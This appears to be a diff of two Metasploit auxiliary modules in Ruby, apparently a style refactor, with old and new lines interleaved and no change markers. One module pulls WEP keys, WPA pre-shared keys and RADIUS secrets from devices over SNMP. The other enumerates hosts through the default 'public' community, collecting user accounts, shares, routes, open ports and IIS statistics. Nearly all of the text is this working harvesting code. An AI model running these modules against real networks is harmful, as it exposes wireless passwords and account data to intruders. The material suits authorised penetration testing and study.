output_data['WEP Key 3'] = wep_key3.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key4)
|
||||
output_data['WEP Key 4'] = wep_key4.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# get current network key
|
||||
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(current_key)
|
||||
output_data['Current Network Key'] = current_key.to_s
|
||||
end
|
||||
|
||||
if network_auth_mode == 6
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
|
||||
when 2, 3, 4, 5, 7, 8
|
||||
# process all flavors of WPA
|
||||
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_encryption)
|
||||
output_data['WPA Encryption'] = get_wpa_encryption_name(wpa_encryption.to_i)
|
||||
end
|
||||
|
||||
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_psk)
|
||||
output_data['WPA Pre-Shared Key (PSK)'] = wpa_psk.to_s
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 4, 5, 8
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
end
|
||||
|
||||
# output
|
||||
print_line('')
|
||||
print_status("Device information:\n")
|
||||
line = ''
|
||||
width = 30 # name field width
|
||||
|
||||
fields_order.each do |k|
|
||||
if !output_data.key?(k)
|
||||
next
|
||||
end
|
||||
|
||||
v = output_data[k]
|
||||
if v.nil? || v.empty? || v =~ /Null/
|
||||
v = '-'
|
||||
end
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'udp',
|
||||
sname: 'snmp',
|
||||
port: datastore['RPORT'].to_i,
|
||||
type: "snmp.#{k}",
|
||||
data: { data: v }
|
||||
)
|
||||
|
||||
line << k.to_s
|
||||
line << ' ' * [0, width - k.length].max
|
||||
line << ": #{v}\n"
|
||||
end
|
||||
|
||||
print_line(line)
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
|
||||
def get_primary_wifi_ifindex(snmp)
|
||||
@@ -228,83 +238,84 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# management information for a particular interface. Locate the first
|
||||
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
|
||||
wifi_ifindex = 0
|
||||
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
|
||||
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
|
||||
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
|
||||
wifi_ifindex = ifIndex.value.to_i
|
||||
if_table_columns = ['ifIndex', 'ifDescr', 'ifType', 'ifAdminStatus']
|
||||
snmp.walk(if_table_columns) do |if_index, _if_descr, if_type, if_admin_status|
|
||||
if (wifi_ifindex < 1) && (if_type.value == 71) && (if_admin_status.value == 1)
|
||||
wifi_ifindex = if_index.value.to_i
|
||||
end
|
||||
end
|
||||
wifi_ifindex
|
||||
end
|
||||
|
||||
def is_valid_snmp_value(value)
|
||||
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
|
||||
if value.nil? || value.to_s =~ /Null/ || value.to_s =~ /^noSuch/
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def get_network_auth_mode_name(network_auth_mode)
|
||||
case network_auth_mode
|
||||
when 0
|
||||
"Open Security"
|
||||
'Open Security'
|
||||
when 1
|
||||
"WEP"
|
||||
'WEP'
|
||||
when 2
|
||||
"WPA-PSK"
|
||||
'WPA-PSK'
|
||||
when 3
|
||||
"WPA2-PSK"
|
||||
'WPA2-PSK'
|
||||
when 4
|
||||
"WPA RADIUS"
|
||||
'WPA RADIUS'
|
||||
when 5
|
||||
"WPA2 RADIUS"
|
||||
'WPA2 RADIUS'
|
||||
when 6
|
||||
"WEP 802.1x Authentication"
|
||||
'WEP 802.1x Authentication'
|
||||
when 7
|
||||
"WPA-PSK and WPA2-PSK"
|
||||
'WPA-PSK and WPA2-PSK'
|
||||
when 8
|
||||
"WPA and WPA2 RADIUS"
|
||||
'WPA and WPA2 RADIUS'
|
||||
else
|
||||
"Unknown"
|
||||
'Unknown'
|
||||
end
|
||||
end
|
||||
|
||||
def get_wireless_band_name(wireless_band)
|
||||
case wireless_band
|
||||
when 1
|
||||
"2.4 Ghz"
|
||||
'2.4 Ghz'
|
||||
when 2
|
||||
"5 Ghz"
|
||||
'5 Ghz'
|
||||
else
|
||||
"Unknown"
|
||||
'Unknown'
|
||||
end
|
||||
end
|
||||
|
||||
def get_wpa_encryption_name(wpa_encryption)
|
||||
case wpa_encryption
|
||||
when 2
|
||||
"AES"
|
||||
'AES'
|
||||
when 3
|
||||
"TKIP+AES"
|
||||
'TKIP+AES'
|
||||
else
|
||||
"Unknown"
|
||||
'Unknown'
|
||||
end
|
||||
end
|
||||
|
||||
def get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_server)
|
||||
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
|
||||
output_data['RADIUS Server'] = radius_server.unpack('C4').join('.')
|
||||
end
|
||||
|
||||
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_port)
|
||||
output_data["RADIUS Port"] = radius_port.to_s.strip
|
||||
output_data['RADIUS Port'] = radius_port.to_s.strip
|
||||
end
|
||||
|
||||
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_key)
|
||||
output_data["RADIUS Key"] = radius_key.to_s
|
||||
output_data['RADIUS Key'] = radius_key.to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,897 +3,903 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SNMP Enumeration Module',
|
||||
'Description' => 'This module allows enumeration of any devices with SNMP
|
||||
protocol support. It supports hardware, software, and network information.
|
||||
The default community used is "public".',
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SNMP Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module allows enumeration of any devices with SNMP
|
||||
protocol support. It supports hardware, software, and network information.
|
||||
The default community used is "public".
|
||||
},
|
||||
'References' => [
|
||||
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
|
||||
[ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ],
|
||||
[ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ],
|
||||
[ 'CVE', '1999-0508' ], # Weak password
|
||||
[ 'CVE', '1999-0517' ],
|
||||
[ 'CVE', '1999-0516' ] ],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
|
||||
fields_order = [
|
||||
"Host IP", "Hostname", "Description", "Contact",
|
||||
"Location", "Uptime snmp", "Uptime system",
|
||||
"System date", "domain", "User accounts",
|
||||
"Network information", "Network interfaces",
|
||||
"Network IP", "Routing information",
|
||||
"TCP connections and listening ports", "Listening UDP ports",
|
||||
"Network services", "Share", "IIS server information",
|
||||
"Storage information", "File system information",
|
||||
"Device information", "Software components",
|
||||
"Processes"
|
||||
]
|
||||
|
||||
output_data = {}
|
||||
output_data = {"Host IP"=>ip}
|
||||
|
||||
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
|
||||
output_data["Hostname"] = sysName.strip
|
||||
|
||||
# print connected status after the first query so if there are
|
||||
# any timeout or connectivity errors; the code would already
|
||||
# have jumped to error handling where the error status is
|
||||
# already being displayed.
|
||||
print_good("#{ip}, Connected.")
|
||||
|
||||
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
|
||||
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
|
||||
output_data["Description"] = sysDesc.strip
|
||||
|
||||
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
|
||||
output_data["Contact"] = sysContact.strip
|
||||
|
||||
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
|
||||
output_data["Location"] = sysLocation.strip
|
||||
|
||||
sysUpTimeInstance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s
|
||||
output_data["Uptime system"] = sysUpTimeInstance.strip
|
||||
|
||||
hrSystemUptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s
|
||||
output_data["Uptime snmp"] = hrSystemUptime.strip
|
||||
hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/
|
||||
|
||||
year = month = day = hour = minutes = seconds = tenths = 0
|
||||
|
||||
systemDate = snmp.get_value('1.3.6.1.2.1.25.1.2.0')
|
||||
str = systemDate.to_s
|
||||
if (str.empty? or str =~ /Null/ or str =~ /^noSuch/)
|
||||
output_data["System date"] = '-'
|
||||
else
|
||||
|
||||
# RFC 2579 - Textual Conventions for SMIv2
|
||||
# http://www.faqs.org/rfcs/rfc2579.html
|
||||
|
||||
systemDate = systemDate.unpack('C*')
|
||||
|
||||
year = systemDate[0] * 256 + systemDate[1]
|
||||
month = systemDate[2] || 0
|
||||
day = systemDate[3] || 0
|
||||
hour = systemDate[4] || 0
|
||||
minutes = systemDate[5] || 0
|
||||
seconds = systemDate[6] || 0
|
||||
tenths = systemDate[7] || 0
|
||||
output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths)
|
||||
end
|
||||
|
||||
if (sysDesc =~ /Windows/)
|
||||
domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
|
||||
|
||||
output_data["Domain"] = domPrimaryDomain.strip
|
||||
|
||||
users = []
|
||||
|
||||
snmp.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry|
|
||||
users.push([[user.value]])
|
||||
end
|
||||
|
||||
if not users.empty?
|
||||
output_data["User accounts"] = users
|
||||
end
|
||||
end
|
||||
|
||||
network_information = {}
|
||||
|
||||
ipForwarding = snmp.get_value('1.3.6.1.2.1.4.1.0')
|
||||
|
||||
if ipForwarding == 0 || ipForwarding == 2
|
||||
ipForwarding = "no"
|
||||
network_information["IP forwarding enabled"] = ipForwarding
|
||||
elsif ipForwarding == 1
|
||||
ipForwarding = "yes"
|
||||
network_information["IP forwarding enabled"] = ipForwarding
|
||||
end
|
||||
|
||||
ipDefaultTTL = snmp.get_value('1.3.6.1.2.1.4.2.0')
|
||||
if ipDefaultTTL.to_s !~ /Null/
|
||||
network_information["Default TTL"] = ipDefaultTTL
|
||||
end
|
||||
|
||||
tcpInSegs = snmp.get_value('1.3.6.1.2.1.6.10.0')
|
||||
if tcpInSegs.to_s !~ /Null/
|
||||
network_information["TCP segments received"] = tcpInSegs
|
||||
end
|
||||
|
||||
tcpOutSegs = snmp.get_value('1.3.6.1.2.1.6.11.0')
|
||||
if tcpOutSegs.to_s !~ /Null/
|
||||
network_information["TCP segments sent"] = tcpOutSegs
|
||||
end
|
||||
|
||||
tcpRetransSegs = snmp.get_value('1.3.6.1.2.1.6.12.0')
|
||||
if tcpRetransSegs.to_s !~ /Null/
|
||||
network_information["TCP segments retrans"] = tcpRetransSegs
|
||||
end
|
||||
|
||||
ipInReceives = snmp.get_value('1.3.6.1.2.1.4.3.0')
|
||||
if ipInReceives.to_s !~ /Null/
|
||||
network_information["Input datagrams"] = ipInReceives
|
||||
end
|
||||
|
||||
ipInDelivers = snmp.get_value('1.3.6.1.2.1.4.9.0')
|
||||
if ipInDelivers.to_s !~ /Null/
|
||||
network_information["Delivered datagrams"]=ipInDelivers
|
||||
end
|
||||
|
||||
ipOutRequests = snmp.get_value('1.3.6.1.2.1.4.10.0')
|
||||
if ipOutRequests.to_s !~ /Null/
|
||||
network_information["Output datagrams"]=ipOutRequests
|
||||
end
|
||||
|
||||
if not network_information.empty?
|
||||
output_data["Network information"] = network_information
|
||||
end
|
||||
|
||||
network_interfaces = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.2.2.1.1", "1.3.6.1.2.1.2.2.1.2", "1.3.6.1.2.1.2.2.1.6",
|
||||
"1.3.6.1.2.1.2.2.1.3", "1.3.6.1.2.1.2.2.1.4", "1.3.6.1.2.1.2.2.1.5",
|
||||
"1.3.6.1.2.1.2.2.1.10", "1.3.6.1.2.1.2.2.1.16", "1.3.6.1.2.1.2.2.1.7"
|
||||
]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status|
|
||||
|
||||
ifindex = index.value
|
||||
ifdescr = descr.value
|
||||
ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack("H2H2H2H2H2H2").join(":")
|
||||
iftype = type.value
|
||||
ifmtu = mtu.value
|
||||
ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000
|
||||
ifinoc = inoc.value
|
||||
ifoutoc = outoc.value
|
||||
ifstatus = status.value
|
||||
|
||||
case iftype
|
||||
when 1
|
||||
iftype = "other"
|
||||
when 2
|
||||
iftype = "regular1822"
|
||||
when 3
|
||||
iftype = "hdh1822"
|
||||
when 4
|
||||
iftype = "ddn-x25"
|
||||
when 5
|
||||
iftype = "rfc877-x25"
|
||||
when 6
|
||||
iftype = "ethernet-csmacd"
|
||||
when 7
|
||||
iftype = "iso88023-csmacd"
|
||||
when 8
|
||||
iftype = "iso88024-tokenBus"
|
||||
when 9
|
||||
iftype = "iso88025-tokenRing"
|
||||
when 10
|
||||
iftype = "iso88026-man"
|
||||
when 11
|
||||
iftype = "starLan"
|
||||
when 12
|
||||
iftype = "proteon-10Mbit"
|
||||
when 13
|
||||
iftype = "proteon-80Mbit"
|
||||
when 14
|
||||
iftype = "hyperchannel"
|
||||
when 15
|
||||
iftype = "fddi"
|
||||
when 16
|
||||
iftype = "lapb"
|
||||
when 17
|
||||
iftype = "sdlc"
|
||||
when 18
|
||||
iftype = "ds1"
|
||||
when 19
|
||||
iftype = "e1"
|
||||
when 20
|
||||
iftype = "basicISDN"
|
||||
when 21
|
||||
iftype = "primaryISDN"
|
||||
when 22
|
||||
iftype = "propPointToPointSerial"
|
||||
when 23
|
||||
iftype = "ppp"
|
||||
when 24
|
||||
iftype = "softwareLoopback"
|
||||
when 25
|
||||
iftype = "eon"
|
||||
when 26
|
||||
iftype = "ethernet-3Mbit"
|
||||
when 27
|
||||
iftype = "nsip"
|
||||
when 28
|
||||
iftype = "slip"
|
||||
when 29
|
||||
iftype = "ultra"
|
||||
when 30
|
||||
iftype = "ds3"
|
||||
when 31
|
||||
iftype = "sip"
|
||||
when 32
|
||||
iftype = "frame-relay"
|
||||
else
|
||||
iftype = "unknown"
|
||||
end
|
||||
|
||||
case ifstatus
|
||||
when 1
|
||||
ifstatus = "up"
|
||||
when 2
|
||||
ifstatus = "down"
|
||||
when 3
|
||||
ifstatus = "testing"
|
||||
else
|
||||
ifstatus = "unknown"
|
||||
end
|
||||
|
||||
network_interfaces.push({
|
||||
"Interface" => "[ #{ifstatus} ] #{ifdescr}",
|
||||
"Id" => ifindex,
|
||||
"Mac Address" => ifmac,
|
||||
"Type" => iftype,
|
||||
"Speed" => "#{ifspeed} Mbps",
|
||||
"MTU" => ifmtu,
|
||||
"In octets" => ifinoc,
|
||||
"Out octets" => ifoutoc
|
||||
})
|
||||
end
|
||||
|
||||
if not network_interfaces.empty?
|
||||
output_data["Network interfaces"] = network_interfaces
|
||||
end
|
||||
|
||||
network_ip = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.4.20.1.2", "1.3.6.1.2.1.4.20.1.1",
|
||||
"1.3.6.1.2.1.4.20.1.3", "1.3.6.1.2.1.4.20.1.4"
|
||||
]) do |ifid,ipaddr,netmask,bcast|
|
||||
network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value])
|
||||
end
|
||||
|
||||
if not network_ip.empty?
|
||||
output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip
|
||||
end
|
||||
|
||||
routing = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.4.21.1.1", "1.3.6.1.2.1.4.21.1.7",
|
||||
"1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3"
|
||||
]) do |dest,hop,mask,metric|
|
||||
if (metric.value.to_s.empty?)
|
||||
metric.value = '-'
|
||||
end
|
||||
routing.push([dest.value, hop.value, mask.value, metric.value])
|
||||
end
|
||||
|
||||
if not routing.empty?
|
||||
output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing
|
||||
end
|
||||
|
||||
tcp = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4",
|
||||
"1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1"
|
||||
]) do |ladd,lport,radd,rport,state|
|
||||
|
||||
if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/)
|
||||
ladd = "-"
|
||||
else
|
||||
ladd = ladd.value
|
||||
end
|
||||
|
||||
if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/)
|
||||
lport = "-"
|
||||
else
|
||||
lport = lport.value
|
||||
end
|
||||
|
||||
if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/)
|
||||
radd = "-"
|
||||
else
|
||||
radd = radd.value
|
||||
end
|
||||
|
||||
if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/)
|
||||
rport = "-"
|
||||
else
|
||||
rport = rport.value
|
||||
end
|
||||
|
||||
case state.value
|
||||
when 1
|
||||
state = "closed"
|
||||
when 2
|
||||
state = "listen"
|
||||
when 3
|
||||
state = "synSent"
|
||||
when 4
|
||||
state = "synReceived"
|
||||
when 5
|
||||
state = "established"
|
||||
when 6
|
||||
state = "finWait1"
|
||||
when 7
|
||||
state = "finWait2"
|
||||
when 8
|
||||
state = "closeWait"
|
||||
when 9
|
||||
state = "lastAck"
|
||||
when 10
|
||||
state = "closing"
|
||||
when 11
|
||||
state = "timeWait"
|
||||
when 12
|
||||
state = "deleteTCB"
|
||||
else
|
||||
state = "unknown"
|
||||
end
|
||||
|
||||
tcp.push([ladd, lport, radd, rport, state])
|
||||
end
|
||||
|
||||
if not tcp.empty?
|
||||
output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp
|
||||
end
|
||||
|
||||
udp = []
|
||||
|
||||
snmp.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport|
|
||||
udp.push([ladd.value, lport.value])
|
||||
end
|
||||
|
||||
if not udp.empty?
|
||||
output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp
|
||||
end
|
||||
|
||||
if (sysDesc =~ /Windows/)
|
||||
network_services = []
|
||||
n = 0
|
||||
snmp.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed|
|
||||
network_services.push([n,name.value])
|
||||
n+=1
|
||||
end
|
||||
|
||||
if not network_services.empty?
|
||||
output_data["Network services"] = [["Index","Name"]] + network_services
|
||||
end
|
||||
|
||||
share = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3"
|
||||
]) do |name,path,comment|
|
||||
share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value})
|
||||
end
|
||||
|
||||
if not share.empty?
|
||||
output_data["Share"] = share
|
||||
end
|
||||
|
||||
iis = {}
|
||||
|
||||
http_totalBytesSentLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0')
|
||||
if http_totalBytesSentLowWord.to_s !~ /Null/
|
||||
iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord
|
||||
end
|
||||
|
||||
http_totalBytesReceivedLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0')
|
||||
if http_totalBytesReceivedLowWord.to_s !~ /Null/
|
||||
iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord
|
||||
end
|
||||
|
||||
http_totalFilesSent = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0')
|
||||
if http_totalFilesSent.to_s !~ /Null/
|
||||
iis["TotalFilesSent"] = http_totalFilesSent
|
||||
end
|
||||
|
||||
http_currentAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0')
|
||||
if http_currentAnonymousUsers.to_s !~ /Null/
|
||||
iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers
|
||||
end
|
||||
|
||||
http_currentNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0')
|
||||
if http_currentNonAnonymousUsers.to_s !~ /Null/
|
||||
iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers
|
||||
end
|
||||
|
||||
http_totalAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0')
|
||||
if http_totalAnonymousUsers.to_s !~ /Null/
|
||||
iis["TotalAnonymousUsers"] = http_totalAnonymousUsers
|
||||
end
|
||||
|
||||
http_totalNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0')
|
||||
if http_totalNonAnonymousUsers.to_s !~ /Null/
|
||||
iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers
|
||||
end
|
||||
|
||||
http_maxAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0')
|
||||
if http_maxAnonymousUsers.to_s !~ /Null/
|
||||
iis["MaxAnonymousUsers"] = http_maxAnonymousUsers
|
||||
end
|
||||
|
||||
http_maxNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0')
|
||||
if http_maxNonAnonymousUsers.to_s !~ /Null/
|
||||
iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers
|
||||
end
|
||||
|
||||
http_currentConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0')
|
||||
if http_currentConnections.to_s !~ /Null/
|
||||
iis["CurrentConnections"] = http_currentConnections
|
||||
end
|
||||
|
||||
http_maxConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0')
|
||||
if http_maxConnections.to_s !~ /Null/
|
||||
iis["MaxConnections"] = http_maxConnections
|
||||
end
|
||||
|
||||
http_connectionAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0')
|
||||
if http_connectionAttempts.to_s !~ /Null/
|
||||
iis["ConnectionAttempts"] = http_connectionAttempts
|
||||
end
|
||||
|
||||
http_logonAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0')
|
||||
if http_logonAttempts.to_s !~ /Null/
|
||||
iis["LogonAttempts"] = http_logonAttempts
|
||||
end
|
||||
|
||||
http_totalGets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0')
|
||||
if http_totalGets.to_s !~ /Null/
|
||||
iis["Gets"] = http_totalGets
|
||||
end
|
||||
|
||||
http_totalPosts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0')
|
||||
if http_totalPosts.to_s !~ /Null/
|
||||
iis["Posts"] = http_totalPosts
|
||||
end
|
||||
|
||||
http_totalHeads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0')
|
||||
if http_totalHeads.to_s !~ /Null/
|
||||
iis["Heads"] = http_totalHeads
|
||||
end
|
||||
|
||||
http_totalOthers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0')
|
||||
if http_totalOthers.to_s !~ /Null/
|
||||
iis["Others"] = http_totalOthers
|
||||
end
|
||||
|
||||
http_totalCGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0')
|
||||
if http_totalCGIRequests.to_s !~ /Null/
|
||||
iis["CGIRequests"] = http_totalCGIRequests
|
||||
end
|
||||
|
||||
http_totalBGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0')
|
||||
if http_totalBGIRequests.to_s !~ /Null/
|
||||
iis["BGIRequests"] = http_totalBGIRequests
|
||||
end
|
||||
|
||||
http_totalNotFoundErrors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0')
|
||||
if http_totalNotFoundErrors.to_s !~ /Null/
|
||||
iis["NotFoundErrors"] = http_totalNotFoundErrors
|
||||
end
|
||||
|
||||
if not iis.empty?
|
||||
output_data["IIS server information"] = iis
|
||||
end
|
||||
end
|
||||
|
||||
storage_information = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.25.2.3.1.1", "1.3.6.1.2.1.25.2.3.1.2", "1.3.6.1.2.1.25.2.3.1.3",
|
||||
"1.3.6.1.2.1.25.2.3.1.4", "1.3.6.1.2.1.25.2.3.1.5", "1.3.6.1.2.1.25.2.3.1.6"
|
||||
]) do |index,type,descr,allocation,size,used|
|
||||
|
||||
case type.value.to_s
|
||||
when /^1.3.6.1.2.1.25.2.1.1$/
|
||||
type.value = "Other"
|
||||
when /^1.3.6.1.2.1.25.2.1.2$/
|
||||
type.value = "Ram"
|
||||
when /^1.3.6.1.2.1.25.2.1.3$/
|
||||
type.value = "Virtual Memory"
|
||||
when /^1.3.6.1.2.1.25.2.1.4$/
|
||||
type.value = "Fixed Disk"
|
||||
when /^1.3.6.1.2.1.25.2.1.5$/
|
||||
type.value = "Removable Disk"
|
||||
when /^1.3.6.1.2.1.25.2.1.6$/
|
||||
type.value = "Floppy Disk"
|
||||
when /^1.3.6.1.2.1.25.2.1.7$/
|
||||
type.value = "Compact Disc"
|
||||
when /^1.3.6.1.2.1.25.2.1.8$/
|
||||
type.value = "RamDisk"
|
||||
when /^1.3.6.1.2.1.25.2.1.9$/
|
||||
type.value = "Flash Memory"
|
||||
when /^1.3.6.1.2.1.25.2.1.10$/
|
||||
type.value = "Network Disk"
|
||||
else
|
||||
type.value = "unknown"
|
||||
end
|
||||
|
||||
allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/
|
||||
size.value = "unknown" if size.value.to_s =~ /noSuchInstance/
|
||||
used.value = "unknown" if used.value.to_s =~ /noSuchInstance/
|
||||
|
||||
storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]])
|
||||
end
|
||||
|
||||
if not storage_information.empty?
|
||||
storage = []
|
||||
storage_information.each {|a,b,c,d,e,f|
|
||||
s = {}
|
||||
|
||||
e = number_to_human_size(e,d)
|
||||
f = number_to_human_size(f,d)
|
||||
|
||||
s["Description"]= a
|
||||
s["Device id"] = b
|
||||
s["Filesystem type"] = c
|
||||
s["Device unit"] = d
|
||||
s["Memory size"] = e
|
||||
s["Memory used"] = f
|
||||
|
||||
storage.push(s)
|
||||
[ 'CVE', '1999-0516' ]
|
||||
],
|
||||
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
output_data["Storage information"] = storage
|
||||
end
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
file_system = {}
|
||||
# rubocop:disable Metrics/MethodLength
|
||||
def run_host(ip)
|
||||
snmp = connect_snmp
|
||||
|
||||
hrFSIndex = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1')
|
||||
if hrFSIndex.to_s !~ /Null/
|
||||
file_system["Index"] = hrFSIndex
|
||||
end
|
||||
fields_order = [
|
||||
'Host IP', 'Hostname', 'Description', 'Contact',
|
||||
'Location', 'Uptime snmp', 'Uptime system',
|
||||
'System date', 'domain', 'User accounts',
|
||||
'Network information', 'Network interfaces',
|
||||
'Network IP', 'Routing information',
|
||||
'TCP connections and listening ports', 'Listening UDP ports',
|
||||
'Network services', 'Share', 'IIS server information',
|
||||
'Storage information', 'File system information',
|
||||
'Device information', 'Software components',
|
||||
'Processes'
|
||||
]
|
||||
|
||||
